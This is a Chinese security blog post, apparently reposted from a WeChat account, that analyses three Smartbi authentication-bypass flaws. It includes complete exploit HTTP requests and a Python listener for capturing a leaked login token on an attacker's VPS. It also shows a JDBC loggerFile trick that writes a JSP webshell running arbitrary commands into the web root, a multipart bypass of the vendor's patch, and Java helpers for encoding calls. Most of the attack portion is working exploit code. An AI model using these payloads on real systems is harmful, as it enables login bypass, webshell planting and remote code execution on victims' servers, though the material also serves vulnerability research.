免责声明:
0x01 前言
近期爆出的三个Smartbi产品的漏洞,其主要的漏洞产生原因都是因为没有对用户的访问做限制,或者是攻击者能够通过某些逻辑上的漏洞,绕过限制,对一些敏感的类,或是方法进行访问。
以下将对三个Smartbi中的漏洞进行分析,会首先给出POC,再根据POC给出分析过程和可利用的EXP。
0x02 漏洞分析与利用
1. /api/monitor/setEngineAddress 权限绕过漏洞
漏洞分析:
首先给出POC
POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: 127.0.0.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: FQConfigLogined=; FQPassword=; JSESSIONID=BEF47407273964E120DDB8C848EE877C
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/plain
Content-Length: 3
123
向以上接口,以POST方式发送任意值,能够获得以下返回包,即可证明漏洞存在(需要注意的是,Content-Type需要设为text/plain,而非application/x-www-form-urlencoded):
该漏洞的主要成因,是Smartbi的设计者没有对用户访问以下路径做限制:
接下来开始分析。
首先,在smartbix.datamining.service.MonitorService.class
类中,可以看到对于上述路径的具体操控:
当通过POST方式,传入任何参数的时候,在处理中会调用this.systemConfigService.updateSystemConfig()
函数,将我们传入的任意参数作为engineAddress
传入。
随后,该函数会将我们传入的参数存储后,更新为整个系统中的引擎地址(engineAddress)。
当我们访问engineInfo接口的时候,即可看到更新后的引擎地址,此时engineAddress已经被成功的更新为成了123
随后,我们访问token接口,即可完成对于该漏洞的利用。
具体可以在MonitorService.class
类中找到对该接口的处理:
"NOT_LOGIN_REQUIRED"}) ({
public void getToken( String type) throws Exception {
String token = this.catalogService.getToken(10800000L);
if (StringUtil.isNullOrEmpty(token)) {
throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null");
} else if (!"SERVICE_NOT_STARTED".equals(token)) {
Map<String, String> result = new HashMap();
result.put("token", token);
if ("experiment".equals(type)) {
EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object[0]);
} else if ("service".equals(type)) {
EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object[]{EngineApi.address("service-address")});
}
}
}
再这部分代码中,首先在开头注明了,/token
路径,无需登录即可访问,这是漏洞能够触发的基础。
当进入程序块后,会通过
String token = this.catalogService.getToken(10800000L);
进行token获取。这里看一下调用链条中的一个可能会坑的判定条件:
这个a用于标识框架是否运行,如果在本地复现环境的时候,没有启动用户界面框架,会导致漏洞利用失败,此时,将a设置为true即可。
当通过上述方法获取到了token了之后,随即向下走:
我们需要调用的函数是在if中的EngineApi.postJsonEngine()
,为了进入if,我们POST传入参数的时候,必须传入一个experiment
。
随后查看一下postJsonEngine()
方法的具体调用逻辑:
可以看到这里,postJsonEngine方法首先会通过EngineUrl.getUrl()
函数,获取一个url,随后通过HttpKit.postJson()
函数,将token作为data的值,将它post过去。
这里详细看getUrl的调用链:
可以看到这里,获取了SystemConfigService中,键为ENGINE_ADDRESS
的值。
这里也就是我们之前设置的EngineAddress的值,将其作为url返回。
接下来,当程序执行到HttpKit.postJson()
的时候,便会将token通过POST的方式,以JSON的格式发送到我们设置的url地址上。
因此我们只需发送以下request请求包,nc监听对应的端口,即可在个人vps上获取到token:
坑点解析:
理论上来说,只要我们带着这个token的值去访问loginByToken路径,就能够获取到可以登录的session值。
但是很不幸的是,这里的token是不能使用的,主要的问题出在这里:
当smartbi向我们的vps发送token的时候,POST请求最后的发送点在HttpKit.class#exe()
方法中 :
可以发现,在第一个红框中,会获取smartbi发送请求后获得的响应值response
,因此,我们的服务器端需要给出一个返回值。
在接下来的第二个红框中,会尝试将返回的response
中的body部分,以json格式进行值的获取。这里告诉我们,vps返回的response
必须是以json格式类型返回。
当上述解析成功之后,继续跟入,会来到EntityInsertAction.class
的afterTransactionCompletion()
方法。
这里的ck,就是Smartbi发送到用户端的token值。
随后通过第二个红框中的persister.getCache().afterInsert()
方法,将这个token存入对应的变量中,就是下面图片中的this.cache.update
函数。
当我们对loginByToken()
函数调用的时候,实际上就是调用这里存入的token值进行比对,如果比对成功即可登录。
因此,如果我们没有在vps中返回一个json格式的任意返回值,就不会调用到afterTransactionCompletion()方法,也就不能将token值存入变量,用于对比,自然也就登录失败了。
这里查看一下MonitorService.class
类中,loginByToken()
方法的调用链:
这里一路跟入,查看调用链:
可以发现,最后来到了AbstractDAO.class
中的load()
方法中。其中,第一个红框中的判断,当第一次访问的时候就是null,但是会在使用token访问后,留下缓存,如果上次访问出现问题,抛出异常,会返回一个null。
第一次访问时:
第二次访问时会查看上次的缓存,如果上次访问失败,或是出现异常,会返回一个null:
继续调用load方法,接下来会来到:
DefaultLoadEventListener.class#loadFromSecondLevelCache()
方法。
可以看到这里ce
的值,是通过persister.getCache().get(ck,source.getTimestamp())
函数获得的,这里就是在把用户传入的token
(也就是ck
),与我们之前存入的ck
值作比较。成功,ce
的值就不会为null,也就是登录成功。
正确利用漏洞的方案:
经过以上分析,我们不难知道,我们需要在服务器上开启一个监听某个端口的简单服务,当接收到Smartbi发送的token值的时候,返回一个json格式的任意值的响应包,才能正常的使用token。
这里我使用Python3简单实现了一个服务:
imort json
from http.server import BaseHTTPRequestHandler, HTTPServer
class JSONHandler(BaseHTTPRequestHandler):
def _set_response(self, status_code=200, content_type='application/json'):
self.send_response(status_code)
self.send_header('Content-type', content_type)
self.end_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
json_data = json.loads(post_data)
print("Received JSON:", json_data)
response_data = {
"message": "JSON received and processed successfully"
}
response = json.dumps(response_data).encode('utf-8')
self._set_response()
self.wfile.write(response)
def run(server_class=HTTPServer, handler_class=JSONHandler, port=2333):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
print(f"Listening on port {port}")
httpd.serve_forever()
if __name__ == '__main__':
run()
当发送了token后,VPS上接收到:
接下来,向login路径,发送获取到的token值。
将返回的Cookie获取下来,带着访问,即可绕过登录。
2. /vision/RMIServlet?windowUnloading参数,逻辑漏洞
漏洞分析:
首先还是给出POC:
POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: FQConfigLogined=; JSESSIONID=AA35FAB6507174C68D84297771E71345; Phpstorm-4588ec75=9665af70-58e7-4baf-8fce-3fbfb54208c8
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/plain
Content-Length: 32
className=&methodName=¶ms=[]
当发送了以上请求包后,能够从返回包中获取如下内容:
即可证明漏洞存在。
该漏洞的主要成因,是在于开发者在处理用户对/vision/RMIServlet
这条路径的访问逻辑的时候,出现了逻辑错误。
接下来开始分析。
当用户访问/vision/RMIServlet
这条路径的时候,会首先经过smartbi.freequery.filter.CheckIsLoggedFilter.class
类,通过其中的doFilter()
函数进行一个过滤。
这个函数的主要目的是,以正确的方式获取请求中传入的三个参数,分别是类名(className),方法名(methodName),参数(params)。
在这个函数里,开发者一共提供了三种方式来获取分别是:
1、当请求的路径中参数以windowUnloading开头时,
则通过url解码,然后调用一个解密函数来获取三个值。
2、如果不是以windowUnloading开头,则从请求体流中获取三个值:
3、如果不是上述两种情况,则从请求中获取三个值:
当获取了三个值后,通过解密函数RMICoder.decode()
,随后将其赋值给className
,methodName
,params
这三个变量:
随后一路正常跟进,来到这里的判定:
在这个FilterUtil.needToCheck()
函数中,会检查一个包含类名和方法名的白名单,当满足白名单,即可返回false,继续下一部分判断:
这里我们通过windowUnloading
参数传入的类是UserService
类,方法是checkVersion()
方法,在白名单中。
因此直接过了这部分的检测,继续下一部分的程序。
跟进到smartbi.framework.rmi.RMIServlet.class
类中,因为我们使用的POST方式传参数,因此此时调用到doPost()
方法:
在红框这部分的代码中,可以发现出现了一个很大的逻辑问题,这里的rmiInfo
变量原本应该是我们通过windowUnloading参数传入的类名,方法名和参数值,但是这里通过RMIUtil.parseRMIInfo()
函数,通过POST中的参数,重新给三个值赋了一次值。
这里是我随便传入的几个值。
随后,程序会步入到processExecute()函数中,这里看一下调用链:
可以发现,这里最后调用的this.e
实际上是一个HashMap的名单,也就是在this.e
中,查找上述获取的className
是否存在。
只要获取到的className存在于this.e
中,就可以继续接下来的程序。
使用将params以json格式进行解析,随后调用service.execute()方式,这里最后将会通过反射方式调用我们给出的类中的方法:
基于Smartbi中DataSourceService类的JDBC任意文件写入:
通过上述分析,我们可以知道,当使用windowUnloading进行绕过之后,我们实际上是可以调用this.e
这个hashmap
中的任意类的任意方法,同时传递任意参数的。
这里我首先给出可以使用的EXP,随后根据exp来对该漏洞的利用方式进行分析,其中会包含一些坑点,以及问题。
exp如下:
POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: FQConfigLogined=; JSESSIONID=9F4B22AFDE785C86FB33687608795655; Phpstorm-4588ec75=9665af70-58e7-4baf-8fce-3fbfb54208c8
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2525
className=DataSourceService&methodName=testConnectionList¶ms=%5b%5b%7b%22%70%61%73%73%77%6f%72%64%22%3a%22%22%2c%22%6d%61%78%43%6f%6e%6e%65%63%74%69%6f%6e%22%3a%31%30%30%2c%22%75%73%65%72%22%3a%22%22%2c%22%64%72%69%76%65%72%54%79%70%65%22%3a%22%50%4f%53%54%47%52%45%53%51%4c%22%2c%22%76%61%6c%69%64%61%74%69%6f%6e%51%75%65%72%79%22%3a%22%53%45%4c%45%43%54%20%31%22%2c%22%75%72%6c%22%3a%22%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%35%34%33%32%2f%74%65%73%74%3f%41%70%70%6c%69%63%61%74%69%6f%6e%4e%61%6d%65%3d%78%78%78%75%73%65%72%3d%74%65%73%74%26%70%61%73%73%77%6f%72%64%3d%74%65%73%74%26%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%44%45%42%55%47%26%6c%6f%67%67%65%72%46%69%6c%65%3d%2e%2e%2f%77%65%62%61%70%70%73%2f%73%6d%61%72%74%62%69%2f%76%69%73%69%6f%6e%2f%63%6d%64%73%68%65%6c%6c%2e%6a%73%70%26%3c%25%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%5c%22%7e%7e%7e%5c%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6e%65%77%20%53%74%72%69%6e%67%28%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%2e%74%6f%42%79%74%65%41%72%72%61%79%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%5c%22%63%6d%64%5c%22%29%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%29%3b%25%3e%22%2c%22%6e%61%6d%65%22%3a%22%74%65%73%74%22%2c%22%64%72%69%76%65%72%22%3a%22%6f%72%67%2e%70%6f%73%74%67%72%65%73%71%6c%2e%44%72%69%76%65%72%22%2c%22%69%64%22%3a%22%22%2c%22%64%65%73%63%22%3a%22%22%2c%22%61%6c%69%61%73%22%3a%22%22%2c%22%64%62%43%68%61%72%73%65%74%22%3a%22%22%2c%22%69%64%65%6e%74%69%66%69%65%72%51%75%6f%74%65%53%74%72%69%6e%67%22%3a%22%5c%22%22%2c%22%74%72%61%6e%73%61%63%74%69%6f%6e%49%73%6f%6c%61%74%69%6f%6e%22%3a%2d%31%2c%22%76%61%6c%69%64%61%74%69%6f%6e%51%75%65%72%79%4d%65%74%68%6f%64%22%3a%30%2c%22%64%62%54%6f%43%68%61%72%73%65%74%22%3a%22%22%2c%22%61%75%74%68%65%6e%74%69%63%61%74%69%6f%6e%54%79%70%65%22%3a%22%53%54%41%54%49%43%22%2c%22%64%72%69%76%65%72%43%61%74%61%6c%6f%67%22%3a%6e%75%6c%6c%2c%22%65%78%74%65%6e%64%50%72%6f%70%22%3a%22%7b%5c%22%6d%61%78%57%61%69%74%43%6f%6e%6e%65%63%74%69%6f%6e%54%69%6d%65%5c%22%3a%2d%31%2c%5c%22%61%6c%6c%6f%77%45%78%63%65%6c%49%6d%70%6f%72%74%5c%22%3a%66%61%6c%73%65%2c%5c%22%61%70%70%6c%79%54%6f%53%6d%61%72%74%62%69%78%44%61%74%61%73%65%74%5c%22%3a%66%61%6c%73%65%2c%5c%22%63%61%74%61%6c%6f%67%54%79%70%65%5c%22%3a%5c%22%50%72%6f%64%75%63%74%42%75%69%6c%74%49%6e%5c%22%7d%22%7d%5d%5d
接下来根据exp进行分析:
首先,这里的文件写入,主要是利用的jdbc存在一个可以在url中指定日志文件的特性。
不难看出,我们此时调用的是DataSourceService
类中的testConnectionList()
方法,同时,将我们传入的参数进行url解码后,可以得到如下结果。
[[{"password":"","maxConnection":100,"user":"","driverType":"POSTGRESQL","validationQuery":"SELECT 1","url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/cmdshell.jsp&<%out.println("~~~");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())));%>","name":"test","driver":"org.postgresql.Driver","id":"","desc":"","alias":"","dbCharset":"","identifierQuoteString":""","transactionIsolation":-1,"validationQueryMethod":0,"dbToCharset":"","authenticationType":"STATIC","driverCatalog":null,"extendProp":"{"maxWaitConnectionTime":-1,"allowExcelImport":false,"applyToSmartbixDataset":false,"catalogType":"ProductBuiltIn"}"}]]
这里关键的漏洞利用部分就是url对应的参数。
"url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/cmdshell.jsp&<%out.println("~~~");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())));%>"
开始跟一下调用链:
这里找到入口testConnectionList()
函数,并给出一个调用栈。
这里最关键的写文件函数在org.postgresql.Driver.class#connect()
中,这里让我们详细分析一下写文件的原理:
整个函数中,最关键的函数是这三个
parseURL()函数:
该函数会对我们传入的url进行解析,以获取其中的参数。具体的解析参数的逻辑如下:
parseURL()
函数会以&作为分割,将url中的参数分割为数个字符串。
随后,依次遍历所有被分割出来的字符串,通过pos = token.indexOf(61);
检测字符串中是否存在=
号。
当存在=
,也就是pos不为-1时,就会以=
为标识对字符串做分割,将其作为一个键值对,对值进行url解码,随后存入对应的变量中。如果没有等号,就将整个字符串作为键,值设为""
。
这里的url解码需要注意一下,会涉及到后面的一个坑点。
当这段函数循环处理了我们的url之后,可以得到如下的一个数组:
此时可以发现,我们指定的日志文件路径和日志文件名,已经被作为loggerFile键对应的值被解析出来了。
this.setupLoggerFromProperties()函数:
这个函数用于处理日志文件,跟入其中之后,可以看到它对于我们上述参数的处理
首先在第一个红框中,是在读取loggerLevel,也就是日志文件等级,这里如我们之前设置的一样,是DEBUG,这里不能设置为OFF,否则会失败。
随后在第二个红框中,可以看到它读取了我们设置的文件路径,因为这里没有做任何文件路径的限制,所以可以通过../
从当前路径退出,让我们将文件写入到我们想要的地方。
LOGGER.log()函数:
这个函数的作用很简单,就是将我们传入的url写入到日志文件中,而这个日志文件,也就是我们之前设定好的路径下的cmdShell.jsp文件。
而这个时候,我们的恶意代码就会作为url的一部分,被嵌入到我们设定好的日志文件中去。
这里让我们看一下本地生成的文件:
可以看到,这里我们成功的在一大串报错中嵌入成功了一段jsp代码,当我们访问这个文件的时候,即可达成jsp代码的执行,而剩余的报错,只会被以文本的方式进行解读。
以此,我们即可实现依托于Runtime类的exec命令执行。
坑点解析:
虽然我们现在已经可以实现命令执行了,但是只是使用Runtime类进行的最简陋的命令执行效果。
但当我们尝试使用同样的方法进行更复杂的文件写入,例如希望尝试写入一串哥斯拉的jsp马,或是更复杂的命令执行的时候,我们会遇到一些小小的坑点。
这里让我们回过头来看我们写入的代码和parseURL()函数中的url解析逻辑:
假设我们想要通过url写入一串同时带有=
和%
的jsp代码如下:
ApplicationName=xxxuser=test&hhh=<% String test = new String()%>
此时,我们不难发现,根据parseURL()函数的解析规则,这段URL中的参数会被&分割为两个字符串:
ApplicationName :xxxuser=test
hhh : <% String test = new String()%>
随后再对这两个字符串依次进行处理。也就是以等号为分割,将它转换为一个键值对。
此时,对于第二个字符串来说,键名是hhh,而值则是我们构造的jsp代码。
这个时候就出现问题了,在之前提过,当进行值的存储的时候,会将值首先进行依次URL解码。此时,程序就会将<% String这里的%误认为是某个url编码的值的标识符,但是它无法进行解析,于是会抛出错误。
当然,可能会有人希望通过编码的方式来进行绕过,但是这样也是不可行的。
当我们将上述的jsp程序url编码为以下字符串的时候:
%3c%25%3c%25%20%53%74%72%69%6e%67%20%74%65%73%74%20%3d%20%6e%65%77%20%53%74%72%69%6e%67%28%29%25%3e%20%53%74%72%69%6e%67%20%74%65%73%74%20%3d%20%6e%65%77%20%53%74%72%69%6e%67%28%29%25%3e
他确实可以进行绕过,但是当我们访问最后的jsp文件的时候会发现,上述的url编码被原样写入到文件中了:
也就导致我们无法正确运行程序。
正确利用漏洞的方案:
因此,这里最好的利用方式,还是创建一个可以写入文件的简单的后门马,随后利用这个后门马,在我们想要的地方写入我们需要的纯净的程序。
例如:
<%out.println("success");new java.io.FileOutputStream(request.getParameter("filename")).write(request.getParameter("content").getBytes()); %>
又或者是简单的使用命令执行的效果:
<%out.println("&&&&");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())));out.println("&&&&")%>
3. /vision/RMIServlet?windowUnloading参数,Multipart逻辑漏洞
漏洞分析:
这里直接给出EXP:
POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1
Host: localhost:18080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 1189
Content-Type: multipart/form-data;charset=UTF-8;boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA
Accept-Encoding: gzip, deflate
Connection: close
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="className"
DataSourceService
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="methodName"
testConnectionList
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
Content-Disposition: form-data; name="params"
[[{"password":"","maxConnection":100,"user":"","driverType":"POSTGRESQL","validationQuery":"SELECT 1","url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/0DFCC1b8f1Db599F.jsp&<%out.println("~~~");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream())));%>","name":"test","driver":"org.postgresql.Driver","id":"","desc":"","alias":"","dbCharset":"","identifierQuoteString":""","transactionIsolation":-1,"validationQueryMethod":0,"dbToCharset":"","authenticationType":"STATIC","driverCatalog":null,"extendProp":"{"maxWaitConnectionTime":-1,"allowExcelImport":false,"applyToSmartbixDataset":false,"catalogType":"ProductBuiltIn"}"}]]
------WebKitFormBoundaryrGKCBY7qhFd3TrwA
在在上面的windowUnloading参数绕过漏洞出现之后,官方随即通过补丁进行了修复:
public int patch(HttpServletRequest request, HttpServletResponse response, FilterChain chain) {
return this.assertQueryString(request);
}
private int assertQueryString(HttpServletRequest request) {
String query = request.getQueryString();
if (StringUtil.isNullOrEmpty(query)) {
return 0;
} else if (!query.startsWith("windowUnloading")) {
return 0;
} else if (!query.startsWith("windowUnloading=&") && !query.startsWith("windowUnloading&")) {
return 1;
} else {
String paramClassName = request.getParameter("className");
String paramMethodName = request.getParameter("methodName");
if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) {
try {
String content = "";
String windowUnloadingStr = query.length() > "windowUnloading".length() && query.charAt("windowUnloading".length()) == '=' ? "windowUnloading=&" : "windowUnloading&";
if (query.length() > windowUnloadingStr.length()) {
content = query.substring(windowUnloadingStr.length());
if (content.endsWith("=")) {
content = content.substring(0, content.length() - 1);
}
content = URLDecoder.decode(content, "UTF-8");
}
String urlClassName = "";
String urlMethodName = "";
if (content.indexOf("className=") == -1 && content.indexOf("methodName=") == -1) {
String[] decode = RMICoder.decode(content);
urlClassName = decode[0];
urlMethodName = decode[1];
} else {
Map<String, String> map = HttpUtil.parseQueryString(content);
urlClassName = (String)map.get("className");
urlMethodName = (String)map.get("methodName");
}
if (StringUtil.isNullOrEmpty(urlClassName) && StringUtil.isNullOrEmpty(urlMethodName)) {
return 0;
} else {
return paramClassName.equals(urlClassName) && paramMethodName.equals(urlMethodName) ? 0 : 1;
}
} catch (Exception var10) {
return 0;
}
} else {
return 0;
}
}
可以看到函数中,对于上面的windowUnloading绕过的防御方式是这样的:
if (StringUtil.isNullOrEmpty(urlClassName) && StringUtil.isNullOrEmpty(urlMethodName)) {
return 0;
} else {
return paramClassName.equals(urlClassName) && paramMethodName.equals(urlMethodName) ? 0 : 1;
}
首先判断,至少通过url中的windowUnloading参数或者是post等请求方式传递了类名和方法名。
随后,判断windowUnloading和post等请求方式中的类名和方法名是否相同,相同返回0,也就表示继续执行dofilter,如果不相同,则返回1,表示程序结束。
其中,paramClassName,paramMethodName两个值是通过request.getParameter()
函数获取的。
String paramClassName = request.getParameter("className");
String paramMethodName = request.getParameter("methodName");
if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) {
理论上来说,确实可以防住,但是实际上存在问题。
实际上request.getParameter()
这个函数,只能够用于获取get,post请求方法发送的值,但是如果我们尝试通过Multipart
方式进行传参,则只会获得一个null值。
也就是说,如果我们通过Multipart方式进行传参,会直接无法通过这段if判断。
if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName))
导致下面的一系列检查直接失效,直接返回代表继续的0。
也就是说,我们现在windowUnloading方式传入的类和方法以及参数,与我们使用Multipart方式传入的类、方法、参数是不一样的。
当绕过了白名单判定后,在解析过程中,就会重新读取我们请求体中给出的参数。
也就是说,这里我们最后还是可以调用到DataSourceService类,完成日志文件的写入。
恶意利用方式和之前没有任何区别。
0x03 扩展:
实际上这里应该还有更多的恶意利用方式,根据之前的不同的Smartbi漏洞来看,一般来说主要能够进行利用的就是DataSourceService这个类,以及checkUserVersion这个类。
前者的主要利用方式可以有JNDI注入,可以直接加载一个恶意类,或者是恶意字节码,完成代码级别的命令执行,也可以直接通过我上述的漏洞利用方式,通过写文件来进行getshell,或者,因为在这个类中存在一个sql语句的控制,实际上也可以通过控制这个sql语句来进行sql注入,通过mysql来进行提权。
如果是利用到checkUserVersion这个类,大部分时候是用于对cookie进行窃取,然后达成登录绕过的效果。
在这里的利用中,我一般会通过加密的方式进行,这里是调用的他自身的加密解密类,虽然看起来是让他能够不容易被分析,但是实际上也产生了一定的流量加密的效果。
这里我整理了一下加密函数和解密函数,用于更方便的进行类的调用:
加密函数
import java.io.UnsupportedEncodingException;
class Encryption {
private static byte[] encodeArray = new byte[256];
static {
for (int i = 0; i < encodeArray.length; i++) {
encodeArray[i] = (byte) i;
}
}
public static void main(String[] args) {
encode test = new encode();
String input = "UserService+checkVersion+%5B%222023-03-31%2018%3A56%3A53%22%5D";
byte[] encodedData = test.encode(input);
String encodedString = test.byteArrayToStrByUTF8(encodedData);
System.out.println(encodedString);
}
}
class encode {
private static byte[] encodeArray = new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 87, 0, 0, 0, 47, 0, 56, 97, 89, 84, 43, 0, 103, 106, 37, 113, 49, 121, 78, 114, 112, 110, 48, 76, 55, 123, 0, 0, 0, 0, 0, 0, 40, 88, 120, 115, 41, 77, 107, 71, 104, 53, 52, 80, 54, 51, 65, 33, 117, 105, 108, 68, 90, 66, 83, 122, 81, 86, 93, 0, 91, 0, 102, 0, 69, 119, 73, 109, 126, 45, 118, 100, 99, 82, 116, 75, 57, 39, 79, 101, 46, 72, 42, 67, 50, 74, 111, 70, 95, 85, 58, 0, 0, 98, 0};
public byte[] encode(String dataStr) {
byte[] data = strToByteArrayByUTF8(dataStr);
for (int i = 0; i < data.length; i++) {
byte tmp = data[i];
for (int j = 0; j < encodeArray.length; j++) {
if (encodeArray[j] == tmp) {
data[i] = (byte) j;
break;
}
}
}
return data;
}
public byte[] strToByteArrayByUTF8(String dataStr) {
try {
return dataStr.getBytes("UTF-8");
} catch (UnsupportedEncodingException var2) {
throw new RuntimeException(var2);
}
}
public String byteArrayToStrByUTF8(byte[] dataByte) {
try {
return new String(dataByte, "UTF-8");
} catch (UnsupportedEncodingException var2) {
throw new RuntimeException(var2);
}
}
}
解密函数
import smartbi.SmartbiException;
import smartbi.util.CommonErrorCode;
import java.io.UnsupportedEncodingException;
class Decryption {
public static void main(String[] args) {
decode test = new decode();
String a, data3;
byte[] data, data2;
a = "zDp4Wp4gRip+iIpiGZp4DRw6+/JV/uuu7uNf7NfN1/u71'/NOJM/NOJN/uu/JT";
data = test.strToByteArrayByUTF8(a);
data2 = test.decode(data);
data3 = test.byteArrayToStrByUTF8(data2);
System.out.println(data3); // 输出解密后的数据
}
}
class decode {
private static byte[] decodeArray = new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 87, 0, 0, 0, 47, 0, 56, 97, 89, 84, 43, 0, 103, 106, 37, 113, 49, 121, 78, 114, 112, 110, 48, 76, 55, 123, 0, 0, 0, 0, 0, 0, 40, 88, 120, 115, 41, 77, 107, 71, 104, 53, 52, 80, 54, 51, 65, 33, 117, 105, 108, 68, 90, 66, 83, 122, 81, 86, 93, 0, 91, 0, 102, 0, 69, 119, 73, 109, 126, 45, 118, 100, 99, 82, 116, 75, 57, 39, 79, 101, 46, 72, 42, 67, 50, 74, 111, 70, 95, 85, 58, 0, 0, 98, 0};
public decode() {
}
public byte[] strToByteArrayByUTF8(String dataStr) {
try {
return dataStr.getBytes("UTF-8");
} catch (UnsupportedEncodingException var2) {
throw new SmartbiException(CommonErrorCode.UNKOWN_ERROR, var2);
}
}
public byte[] decode(byte[] dataByte) {
int i = 0;
for(int j = 0; j < dataByte.length; ++j) {
byte tmp = dataByte[i];
if (tmp > 0 && tmp < decodeArray.length) {
byte encodeChar = decodeArray[tmp];
if (encodeChar != 0) {
dataByte[i] = encodeChar;
}
}
++i;
}
return dataByte;
}
public String byteArrayToStrByUTF8(byte[] dataByte) {
try {
return new String(dataByte, "UTF-8");
} catch (UnsupportedEncodingException var2) {
throw new SmartbiException(CommonErrorCode.UNKOWN_ERROR, var2);
}
}
}
通过以上的两个函数,就可以完成对于类,方法,参数的加密和解密过程,同时也可以对报错的结果进行加密和解密。
0x04
原文始发于微信公众号(小黑说安全):Smartbi近期漏洞系列详解
